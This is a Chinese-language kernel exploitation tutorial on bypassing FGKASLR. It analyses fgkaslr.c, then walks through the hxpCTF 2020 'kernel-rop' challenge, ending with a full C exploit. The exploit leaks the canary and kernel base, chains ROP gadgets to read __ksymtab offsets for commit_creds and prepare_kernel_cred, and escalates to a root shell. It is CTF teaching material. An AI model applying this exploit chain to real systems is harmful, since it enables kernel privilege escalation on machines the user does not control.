Kernel-Pwn-FGKASLR保护绕过

FGKASLR

FGASLR（Function Granular KASLR）是KASLR的加强版，增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中，即使泄露了内核的程序基地址也不能调用任意的内核函数。
layout_randomized_image

在fgkaslr.c文件中存在着随机化的明细。

1. /*
2.     linux/arch/x86/boot/compressed/fgkaslr.c
3. */
4. void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
5. {
6.    ...
7.     shnum = ehdr->e_shnum; //获取节区的数量
8.     shstrndx = ehdr->e_shstrndx; //获取字符串的索引
9.    ...
10.     /* we are going to need to allocate space for the section headers */
11.     sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
12.     if (!sechdrs)
13.         error("Failed to allocate space for shdrs");
14. ​
15.     sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
16.     if (!sections)
17.         error("Failed to allocate space for section pointers");
18. ​
19.     memcpy(sechdrs, output + ehdr->e_shoff,
20.            sizeof(*sechdrs) * shnum); //拷贝头部数据
21. ​
22.     /* we need to allocate space for the section string table */
23.     s = &sechdrs[shstrndx]; //获取节区名
24. ​
25.     secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
26.     if (!secstrings)
27.         error("Failed to allocate space for shstr");
28. ​
29.     memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称
30. ​
31.     /*
32.      * now we need to walk through the section headers and collect the
33.      * sizes of the .text sections to be randomized.
34.      */
35.     for (i = 0; i < shnum; i++) { //遍历节区，选择需要重定位的节区
36.         s = &sechdrs[i];
37.         sname = secstrings + s->sh_name;
38. ​
39.         if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过
40.             /* only one symtab per image */
41.             if (symtab)
42.                 error("Unexpected duplicate symtab");
43. ​
44.             symtab = malloc(s->sh_size);
45.             if (!symtab)
46.                 error("Failed to allocate space for symtab");
47. ​
48.             memcpy(symtab, output + s->sh_offset, s->sh_size);
49.             num_syms = s->sh_size / sizeof(*symtab);
50.             continue;
51.         }
52.        ...
53.         if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过
54.             if (text)
55.                 error("Unexpected duplicate .text section");
56.             text = s;
57.             continue;
58.         }
59. ​
60.         if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过
61.             /* get start addr for later */
62.             percpu = s;
63.             continue;
64.         }
65. ​
66.         if (!(s->sh_flags & SHF_ALLOC) ||
67.             !(s->sh_flags & SHF_EXECINSTR) ||
68.             !(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位，并且节区名的前缀属于.text则会进行细粒度的地址随机化
69.             continue;
70. ​
71.         sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中，进行细粒度的地址随机化
72.         num_sections++;
73.     }
74.     sections[num_sections] = NULL;
75.     sections_size = num_sections;
76.    ...
77. }

复制代码

通过上述代码分析可知

• 符号节区不进行细粒度的地址随机化
  
• 第一个.text节是不会进行细粒度的地址随机化
  
• 需要同时具备SHF_ALLOC与SHF_EXECINSTR标志位，并且节区的前缀为.text才会被选择进行细粒度的地址随机化
  

可以看到layout_randomized_image函数还是会保持原有的节区偏移，但是会在内存中寻找另一个空间进行存储，这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移，想要做到任意内核函数的调用，就需要找到调用函数所处的节区的基地址，使得利用更加复杂化了。
FGKASLR保护的绕过

想要绕过FGKASLR，我们可以挑选不受影响的节区中的gadget进行ROP链的构造。
首先是不存在SHF_ALLOC与SHF_EXECINSTR标志位的节区

其次是.text的节区，可以看到该节区存在0x200000的大小，因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000，可选的gadget还是比较充足的。

上述的节区都是不受FGKASLR保护的影响，只需要泄露出内核程序的基地址，就可以按照绕过KASLR的思路进行漏洞的利用。
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想要在内核态完成提权返回到用户态，我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
因此先来看commit_creds与prepare_kernel_cred函数是否符合要求，可以看到commit_creds函数的地址为0xffffffff814c6410，prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了（这里我是关闭了KASLR的）。

可以多运行几次环境，查看这个两个函数的地址，会发现末尾地址的偏移会一直在变化。(开启了KASLR)
cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
第一次

第二次

可以看到第一次运行与第二次运行的地址是完全不一样的，但是处于不进行细粒度的节区ksymtab，只有中间的九个比特位（KASLR）发生了改变，其余部分是一致的。这也是KASLR与FGKASLR的区别。但是实际的利用又需要用到这两个函数，因此还是需要特殊的手法泄露出这两个函数的实际地址。（1）能够泄露这两个函数现有的基地址（2）通过符号表进行地址读取。
这里采用（2）的手法进行函数地址的泄露，ksymtab节存放着内核函数的符号表，使用下述结构体进行维护。

1. struct kernel_symbol {
2.       int value_offset;
3.       int name_offset;
4.       int namespace_offset;
5. };

复制代码

• value_offset：内核符号的值的偏移
  
• name_offset：内核符号的名称的偏移
  
• namespace_offset：内核符号所属的命名空间的名称在内存中的偏移量或地址。
  

因此value_offset正是我们所关注的，这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例，ksymtab_commit_creds的地址值为0xffffffffa8587d90，该地址存储的值为0xffa17ef0，计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ，结果刚好是commit_creds函数的地址值，这里说明一下为什么需要用(2^32 - 0xffa17ef0)，因为value_offset是int类型，而0xffa17ef0是负数，因此需要先转换在进行相减才是实际值。

那么利用上述的方法就可以求出commit_creds与prepare_kernel_cred函数的地址。
那么接着看如何获取swapgs与iretq指令的地址，之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode，里面除了能够通过cr3转换页表，里面还具备swapgs和iretq指令。在内核中搜索一下这个函数的地址，可以发现它处于.text节区的范围内，因此这个地址可以直接拿来用。

因此绕过FGKASLR的方法就出来了，首先是泄露内核程序基地址，通过该基地址获得__ksymtab_commit_creds与__ksymtab_prepare_kernel_cred的地址，通过上述两个符号获取实际的commit_creds与prepare_kernel_cred函数的地址，最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。
hxpCTF 2020 kernel-rop

run.sh

1. qemu-system-x86_64 \
2.    -m 128M \
3.    -cpu kvm64,+smep,+smap \
4.    -kernel vmlinuz \
5.    -initrd initramfs.cpio.gz \
6.    -hdb flag.txt \
7.    -snapshot \
8.    -nographic \
9.    -monitor /dev/null \
10.    -no-reboot \
11.    -append "console=ttyS0  kaslr kpti=1  quiet panic=1" \
12.    -s

复制代码

这里还是使用 hxpCTF 2020的内核题作为例子
项目地址：https://github.com/h0pe-ay/Kernel-Pwn
之前提到过了程序存在栈溢出的漏洞，并且允许我们读取内核栈上的数据，通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址，这里需要特别注意的是，当开启了FGKASLR时，不是所有的地址都可以用来计算基地址的，只能找在.text范围内的地址，否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。

那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了，在之前的用户态下的利用，我们可以借助write或者是puts函数去读取地址中的内容，但是在内核态的利用则不需要这么麻烦了，例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器，接着通过mov rax，[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget为

1. 0xffffffff81004d11: pop rax; ret; [0x4d11]
2. 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]

复制代码

首先利用pop rax; ret指令，将__ksymtab_commit_creds函数的地址赋值给rax寄存器，接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中，那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态，接着采用内联汇编，进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开，否则rax寄存器可能会被编译器优化掉，即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒度调整的节区中挑选，否则无法获取真实地址。

1. ...
2. void start()
3. {
4.     unsigned long payload[256];
5.     unsigned int index = 0;
6.     for(int i = 0; i < (16); i ++)
7.         payload[index++] = 0;
8.     //iretq RIP|CS|RFLAGS|SP|SS
9.     payload[index++] = canary;
10.     payload[index++] = 0;
11.     payload[index++] = 0;
12.     payload[index++] = 0;
13.     payload[index++] = image_base +  0x4d11; //pop_rax_ret
14.     payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
15.     payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
16.     payload[index++] = 0;
17.     payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
18.     payload[index++] = 0;
19.     payload[index++] = 0;
20.     payload[index++] = (unsigned long)leak_commit_creds;
21.     payload[index++] = user_cs;
22.     payload[index++] = user_rflags;
23.     payload[index++] = user_sp;
24.     payload[index++] = user_ss;
25.     write(fd, payload, index * 8);
26.    
27. }
28. ​
29. void leak_commit_creds()
30. {
31.     __asm(
32.         ".intel_syntax noprefix;"
33.         "mov commit_creds_offset, eax;"
34.         ".att_syntax;"
35.     );
36.     printf("commit_cred_offset:0x%x\n", commit_creds_offset);
37.     commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
38.     printf("commit_cred:0x%lx\n", commit_creds);
39.     jmp_leak_prepare_kernel_cred();
40. }
41. ...

复制代码

在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中，因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget，那么还是同样采用内联汇编，将rax寄存器的值读取出，再传递给commit_creds函数即可。这里又需要特别注意，最好不要使用太多的全局变量存储，否则会覆盖一开始保存的user_cs，user_rflags，user_sp，user_ss的变量值。因此在payload中我特定将这几个变量初始化的特定的值，使得这几个变量存储在.data段防止被其它的值覆盖。

因此针对FGKASLR保护的绕过，实际是利用FGKASLR特点，只在特定的区域中选取适合的gadget，从而将FGKASLR弱化为KASLR，进而继续利用。
exp

1. #include #include ​/*0xffffffff81006370: pop rdi; ret;  --  [0x6370]0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]0xffffffff81004d11: pop rax; ret; [0x4d11]
2. 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]*/​//iretq RIP|CS|RFLAGS|SP|SS #define MAX 1int fd;unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;​unsigned long image_base;unsigned long commit_creds;unsigned long prepare_kernel_cred;unsigned long canary;​int prepare_kernel_cred_offset;int commit_creds_offset;unsigned long cred;​​void save_state();void backdoor();void leak_commit_creds();void leak_prepare_kernel_cred();void get_cred();void jmp_get_cred();void jmp_leak_prepare_kernel_cred();void jmp_get_cred();void jmp_back_door();void start();​​void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}​void backdoor(){    puts("***getshell***");    system("/bin/sh");}​void start(){    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;    //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = image_base +  0x4d11; //pop_rax_ret    payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;    payload[index++] = 0;    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)leak_commit_creds;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);    }​void leak_commit_creds(){    __asm(        ".intel_syntax noprefix;"        "mov commit_creds_offset, eax;"        ".att_syntax;"    );    printf("commit_cred_offset:0x%x\n", commit_creds_offset);    commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;    printf("commit_cred:0x%lx\n", commit_creds);    jmp_leak_prepare_kernel_cred();}​void jmp_leak_prepare_kernel_cred(){    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;    //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = image_base +  0x4d11; //pop_rax_ret    payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;    payload[index++] = 0;    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)leak_prepare_kernel_cred;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);  }​​void leak_prepare_kernel_cred(){    __asm(        ".intel_syntax noprefix;"        "mov prepare_kernel_cred_offset, rax;"        ".att_syntax;"    );    printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);    prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;    printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);    printf("jmp get cred\n");    jmp_get_cred();}​void jmp_get_cred(){    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;    //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = image_base +  0x6370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = prepare_kernel_cred; // prepare_kernel_cred    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)get_cred;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);      }​​void get_cred(){    __asm(        ".intel_syntax noprefix;"        "mov cred, rax;"        ".att_syntax;"    );    printf("cred:0x%lx\n", cred);    jmp_back_door();}​void jmp_back_door(){    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;    //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = image_base +  0x6370; //pop_rdi_ret    payload[index++] = cred;         //cred    payload[index++] = commit_creds; // commit_creds    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);  }​int main(){    save_state();    fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 40 * 8);    for(int i = 0; i < 40; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    canary = buf[2];    unsigned long leak_addr = buf[38];    printf("leak addr:0x%lx\n", leak_addr);    image_base = leak_addr - 0xa157;    printf("ImageBase:0x%lx\n", image_base);    start();}

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